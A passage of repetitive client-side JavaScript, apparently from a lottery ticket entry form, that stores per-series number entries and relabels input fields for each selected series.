					}else if(window.hideLotNum == 94){
						if(control.value){
							window.seriesArr[94][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[94][control.id] !='undefined'){
								window.seriesArr[94][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 95){
						if(control.value){
							window.seriesArr[95][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[95][control.id] !='undefined'){
								window.seriesArr[95][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 96){
						if(control.value){
							window.seriesArr[96][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[96][control.id] !='undefined'){
								window.seriesArr[96][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 97){
						if(control.value){
							window.seriesArr[97][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[97][control.id] !='undefined'){
								window.seriesArr[97][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 98){
						if(control.value){
							window.seriesArr[98][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[98][control.id] !='undefined'){
								window.seriesArr[98][control.id] = '';
								setTotalValue();
							}
						}
					}else if(window.hideLotNum == 99){
						if(control.value){
							window.seriesArr[99][control.id]=(control.value);
							setTotalValue();
						}else{
							if(typeof  window.seriesArr[99][control.id] !='undefined'){
								window.seriesArr[99][control.id] = '';
								setTotalValue();
							}
						}
					}
			}
			//series 9000 end here
			
			//alert(window.seriesArr[0][0]);
		}
		
		var sum1 = 0;
		var sum2 = 0;
		var sum3 = 0;
		var sum4 = 0;
		var sum5 = 0;
		var sum6 = 0;
		var sum7 = 0;
		var sum8 = 0;
		var sum9 = 0;
		var sum10 = 0;
		
		function showSeriesCaptionValue(sr){
			if(sr == 0){
				window.hideLotNum = 0;
				
				for(var i=0;i<=99;i++){
					var val = '';
					if(i<9){
						val = '000'+i
					}else{
						val = '00'+i
					}
					document.getElementById('p'+i).innerHTML = val;
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[0].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[0][i]){
						document.getElementById(i).value = parseInt(seriesArr[0][i]);
						}
					}
				}
			}else if(sr == 1){
				window.hideLotNum = 1;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[1].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[1][i]){
						document.getElementById(i).value = parseInt(seriesArr[1][i]);
						}
					}
				}
			}
			else if(sr == 2){
				window.hideLotNum = 2;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[2].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[2][i]){
						document.getElementById(i).value = parseInt(seriesArr[2][i]);
						}
					}
				}
			}else if(sr == 3){
				window.hideLotNum = 3;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[3].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[3][i]){
						document.getElementById(i).value = parseInt(seriesArr[3][i]);
						}
					}
				}
			}else if(sr == 4){
				window.hideLotNum = 4;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[4].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[4][i]){
						document.getElementById(i).value = parseInt(seriesArr[4][i]);
						}
					}
				}
			}else if(sr == 5){
				window.hideLotNum = 5;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[5].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[5][i]){
						document.getElementById(i).value = parseInt(seriesArr[5][i]);
						}
					}
				}
			}else if(sr == 6){
				window.hideLotNum = 6;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[6].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[6][i]){
						document.getElementById(i).value = parseInt(seriesArr[6][i]);
						}
					}
				}
			}else if(sr == 7){
				window.hideLotNum = 7;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[7].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[7][i]){
						document.getElementById(i).value = parseInt(seriesArr[7][i]);
						}
					}
				}
			}else if(sr == 8){
				window.hideLotNum = 8;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[8].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[8][i]){
						document.getElementById(i).value = parseInt(seriesArr[8][i]);
						}
					}
				}
			}else if(sr == 9){
				window.hideLotNum = 9;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = '0'+(900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[9].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[9][i]){
						document.getElementById(i).value = parseInt(seriesArr[9][i]);
						}
					}
				}
			}else if(sr == 10){
				window.hideLotNum = 10;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[10].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[10][i]){
						document.getElementById(i).value = parseInt(seriesArr[10][i]);
						}
					}
				}
			}else if(sr == 11){
				window.hideLotNum = 11;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[11].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[11][i]){
						document.getElementById(i).value = parseInt(seriesArr[11][i]);
						}
					}
				}
			}else if(sr == 12){
				window.hideLotNum = 12;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[12].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[12][i]){
						document.getElementById(i).value = parseInt(seriesArr[12][i]);
						}
					}
				}
			}else if(sr == 13){
				window.hideLotNum = 13;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[13].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[13][i]){
						document.getElementById(i).value = parseInt(seriesArr[13][i]);
						}
					}
				}
			}else if(sr == 14){
				window.hideLotNum = 14;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[14].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[14][i]){
						document.getElementById(i).value = parseInt(seriesArr[14][i]);
						}
					}
				}
			}else if(sr == 15){
				window.hideLotNum = 15;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[15].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[15][i]){
						document.getElementById(i).value = parseInt(seriesArr[15][i]);
						}
					}
				}
			}else if(sr == 16){
				window.hideLotNum = 16;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[16].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[16][i]){
						document.getElementById(i).value = parseInt(seriesArr[16][i]);
						}
					}
				}
			}else if(sr == 17){
				window.hideLotNum = 17;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[17].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[17][i]){
						document.getElementById(i).value = parseInt(seriesArr[17][i]);
						}
					}
				}
			}else if(sr == 18){
				window.hideLotNum = 18;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[18].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[18][i]){
						document.getElementById(i).value = parseInt(seriesArr[18][i]);
						}
					}
				}
			}else if(sr == 19){
				window.hideLotNum = 19;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (1900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[19].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[19][i]){
						document.getElementById(i).value = parseInt(seriesArr[19][i]);
						}
					}
				}
			}else if(sr == 20){
				window.hideLotNum = 20;

				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[20].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[20][i]){
						document.getElementById(i).value = parseInt(seriesArr[20][i]);
						}
					}
				}
			}else if(sr == 21){
				window.hideLotNum = 21;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[21].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[21][i]){
						document.getElementById(i).value = parseInt(seriesArr[21][i]);
						}
					}
				}
			}else if(sr == 22){
				window.hideLotNum = 22;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[22].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[22][i]){
						document.getElementById(i).value = parseInt(seriesArr[22][i]);
						}
					}
				}
			}else if(sr == 23){
				window.hideLotNum = 23;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[23].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[23][i]){
						document.getElementById(i).value = parseInt(seriesArr[23][i]);
						}
					}
				}
			}else if(sr == 24){
				window.hideLotNum = 24;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[24].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[24][i]){
						document.getElementById(i).value = parseInt(seriesArr[24][i]);
						}
					}
				}
			}else if(sr == 25){
				window.hideLotNum = 25;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[25].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[25][i]){
						document.getElementById(i).value = parseInt(seriesArr[25][i]);
						}
					}
				}
			}else if(sr == 26){
				window.hideLotNum = 26;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[26].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[26][i]){
						document.getElementById(i).value = parseInt(seriesArr[26][i]);
						}
					}
				}
			}else if(sr == 27){
				window.hideLotNum = 27;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[27].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[27][i]){
						document.getElementById(i).value = parseInt(seriesArr[27][i]);
						}
					}
				}
			}else if(sr == 28){
				window.hideLotNum = 28;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[28].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[28][i]){
						document.getElementById(i).value = parseInt(seriesArr[28][i]);
						}
					}
				}
			}else if(sr == 29){
				window.hideLotNum = 29;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (2900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[29].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[29][i]){
						document.getElementById(i).value = parseInt(seriesArr[29][i]);
						}
					}
				}
			}else if(sr == 30){
				window.hideLotNum = 30;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[30].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[30][i]){
						document.getElementById(i).value = parseInt(seriesArr[30][i]);
						}
					}
				}
			}else if(sr == 31){
				window.hideLotNum = 31;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[31].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[31][i]){
						document.getElementById(i).value = parseInt(seriesArr[31][i]);
						}
					}
				}
			}else if(sr == 32){
				window.hideLotNum = 32;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[32].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[32][i]){
						document.getElementById(i).value = parseInt(seriesArr[32][i]);
						}
					}
				}
			}else if(sr == 33){
				window.hideLotNum = 33;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[33].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[33][i]){
						document.getElementById(i).value = parseInt(seriesArr[33][i]);
						}
					}
				}
			}else if(sr == 34){
				window.hideLotNum = 34;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[34].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[34][i]){
						document.getElementById(i).value = parseInt(seriesArr[34][i]);
						}
					}
				}
			}else if(sr == 35){
				window.hideLotNum = 35;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[35].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[35][i]){
						document.getElementById(i).value = parseInt(seriesArr[35][i]);
						}
					}
				}
			}else if(sr == 36){
				window.hideLotNum = 36;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[36].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[36][i]){
						document.getElementById(i).value = parseInt(seriesArr[36][i]);
						}
					}
				}
			}else if(sr == 37){
				window.hideLotNum = 37;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[37].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[37][i]){
						document.getElementById(i).value = parseInt(seriesArr[37][i]);
						}
					}
				}
			}else if(sr == 38){
				window.hideLotNum = 38;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[38].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[38][i]){
						document.getElementById(i).value = parseInt(seriesArr[38][i]);
						}
					}
				}
			}else if(sr == 39){
				window.hideLotNum = 39;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (3900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[39].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[39][i]){
						document.getElementById(i).value = parseInt(seriesArr[39][i]);
						}
					}
				}
			}else if(sr == 40){
				window.hideLotNum = 40;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[40].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[40][i]){
						document.getElementById(i).value = parseInt(seriesArr[40][i]);
						}
					}
				}
			}else if(sr == 41){
				window.hideLotNum = 41;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[41].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[41][i]){
						document.getElementById(i).value = parseInt(seriesArr[41][i]);
						}
					}
				}
			}else if(sr == 42){
				window.hideLotNum = 42;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[42].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[42][i]){
						document.getElementById(i).value = parseInt(seriesArr[42][i]);
						}
					}
				}
			}else if(sr == 43){
				window.hideLotNum = 43;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[43].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[43][i]){
						document.getElementById(i).value = parseInt(seriesArr[43][i]);
						}
					}
				}
			}else if(sr == 44){
				window.hideLotNum = 44;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[44].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[44][i]){
						document.getElementById(i).value = parseInt(seriesArr[44][i]);
						}
					}
				}
			}else if(sr == 45){
				window.hideLotNum = 45;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[45].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[45][i]){
						document.getElementById(i).value = parseInt(seriesArr[45][i]);
						}
					}
				}
			}else if(sr == 46){
				window.hideLotNum = 46;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[46].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[46][i]){
						document.getElementById(i).value = parseInt(seriesArr[46][i]);
						}
					}
				}
			}else if(sr == 47){
				window.hideLotNum = 47;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[47].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[47][i]){
						document.getElementById(i).value = parseInt(seriesArr[47][i]);
						}
					}
				}
			}else if(sr == 48){
				window.hideLotNum = 48;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[48].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[48][i]){
						document.getElementById(i).value = parseInt(seriesArr[48][i]);
						}
					}
				}
			}else if(sr == 49){
				window.hideLotNum = 49;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (4900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[49].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[49][i]){
						document.getElementById(i).value = parseInt(seriesArr[49][i]);
						}
					}
				}
			}else if(sr == 50){
				window.hideLotNum = 50;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();setRightSideValue();
				if(seriesArr[50].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[50][i]){
						document.getElementById(i).value = parseInt(seriesArr[50][i]);
						}
					}
				}
			}else if(sr == 51){
				window.hideLotNum = 51;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[51].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[51][i]){
						document.getElementById(i).value = parseInt(seriesArr[51][i]);
						}
					}
				}
			}else if(sr == 52){
				window.hideLotNum = 52;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[52].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[52][i]){
						document.getElementById(i).value = parseInt(seriesArr[52][i]);
						}
					}
				}
			}else if(sr == 53){
				window.hideLotNum = 53;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[53].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[53][i]){
						document.getElementById(i).value = parseInt(seriesArr[53][i]);
						}
					}
				}
			}else if(sr == 54){
				window.hideLotNum = 54;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[54].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[54][i]){
						document.getElementById(i).value = parseInt(seriesArr[54][i]);
						}
					}
				}
			}else if(sr == 55){
				window.hideLotNum = 55;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[55].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[55][i]){
						document.getElementById(i).value = parseInt(seriesArr[55][i]);
						}
					}
				}
			}else if(sr == 56){
				window.hideLotNum = 56;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[56].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[56][i]){
						document.getElementById(i).value = parseInt(seriesArr[56][i]);
						}
					}
				}
			}else if(sr == 57){
				window.hideLotNum = 57;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[57].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[57][i]){
						document.getElementById(i).value = parseInt(seriesArr[57][i]);
						}
					}
				}
			}else if(sr == 58){
				window.hideLotNum = 58;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[58].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[58][i]){
						document.getElementById(i).value = parseInt(seriesArr[58][i]);
						}
					}
				}
			}else if(sr == 59){
				window.hideLotNum = 59;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (5900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[59].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[59][i]){
						document.getElementById(i).value = parseInt(seriesArr[59][i]);
						}
					}
				}
			}else if(sr == 60){
				window.hideLotNum = 60;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[60].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[60][i]){
						document.getElementById(i).value = parseInt(seriesArr[60][i]);
						}
					}
				}
			}else if(sr == 61){
				window.hideLotNum = 61;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[61].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[61][i]){
						document.getElementById(i).value = parseInt(seriesArr[61][i]);
						}
					}
				}
			}else if(sr == 62){
				window.hideLotNum = 62;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[62].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[62][i]){
						document.getElementById(i).value = parseInt(seriesArr[62][i]);
						}
					}
				}
			}else if(sr == 63){
				window.hideLotNum = 63;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[63].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[63][i]){
						document.getElementById(i).value = parseInt(seriesArr[63][i]);
						}
					}
				}
			}else if(sr == 64){
				window.hideLotNum = 64;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6400+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[64].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[64][i]){
						document.getElementById(i).value = parseInt(seriesArr[64][i]);
						}
					}
				}
			}else if(sr == 65){
				window.hideLotNum = 65;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6500+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[65].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[65][i]){
						document.getElementById(i).value = parseInt(seriesArr[65][i]);
						}
					}
				}
			}else if(sr == 66){
				window.hideLotNum = 66;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6600+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[66].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[66][i]){
						document.getElementById(i).value = parseInt(seriesArr[66][i]);
						}
					}
				}
			}else if(sr == 67){
				window.hideLotNum = 67;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6700+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[67].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[67][i]){
						document.getElementById(i).value = parseInt(seriesArr[67][i]);
						}
					}
				}
			}else if(sr == 68){
				window.hideLotNum = 68;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6800+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[68].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[68][i]){
						document.getElementById(i).value = parseInt(seriesArr[68][i]);
						}
					}
				}
			}else if(sr == 69){
				window.hideLotNum = 69;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (6900+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[69].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[69][i]){
						document.getElementById(i).value = parseInt(seriesArr[69][i]);
						}
					}
				}
			}else if(sr == 70){
				window.hideLotNum = 70;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7000+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[70].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[70][i]){
						document.getElementById(i).value = parseInt(seriesArr[70][i]);
						}
					}
				}
			}else if(sr == 71){
				window.hideLotNum = 71;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7100+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[71].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[71][i]){
						document.getElementById(i).value = parseInt(seriesArr[71][i]);
						}
					}
				}
			}else if(sr == 72){
				window.hideLotNum = 72;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7200+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[72].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[72][i]){
						document.getElementById(i).value = parseInt(seriesArr[72][i]);
						}
					}
				}
			}else if(sr == 73){
				window.hideLotNum = 73;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7300+i);
				}
				document.getElementById('frmLottery').reset();
				setRightSideValue();
				if(seriesArr[73].length > 0){
					for(var i = 0;i<=99;i++){
						if(seriesArr[73][i]){
						document.getElementById(i).value = parseInt(seriesArr[73][i]);
						}
					}
				}
			}else if(sr == 74){
				window.hideLotNum = 74;
				for(var i=0;i<=99;i++){
					document.getElementById('p'+i).innerHTML = (7400+i);
				}
				document.getElementById('frmLottery').reset();
